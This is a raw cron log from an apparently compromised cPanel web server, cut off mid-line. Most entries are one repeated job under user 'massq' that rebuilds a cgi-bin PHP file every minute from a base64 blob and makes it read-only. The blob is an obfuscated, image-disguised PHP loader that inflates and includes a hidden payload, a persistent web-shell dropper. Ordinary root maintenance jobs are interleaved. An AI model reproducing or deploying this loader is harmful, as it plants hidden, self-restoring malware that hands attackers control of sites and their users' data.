Apr 10 00:41:01 server CROND[9237]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 00:42:01 server CROND[9308]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 00:42:01 server CROND[9309]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 10 00:43:01 server CROND[9380]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 00:44:01 server CROND[9443]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 00:45:01 server CROND[9514]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 00:45:01 server CROND[9515]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 00:45:01 server CROND[9516]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 00:46:01 server CROND[9635]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 00:47:01 server CROND[9702]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 00:48:01 server CROND[9864]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 00:49:01 server CROND[9928]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 00:50:01 server CROND[10000]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 00:50:01 server CROND[10001]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 10 00:50:01 server CROND[10002]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 00:50:01 server CROND[10003]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 00:50:01 server CROND[10006]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 00:51:01 server CROND[10133]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 00:52:01 server CROND[10206]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 00:53:01 server CROND[10373]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 00:54:01 server CROND[10588]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaU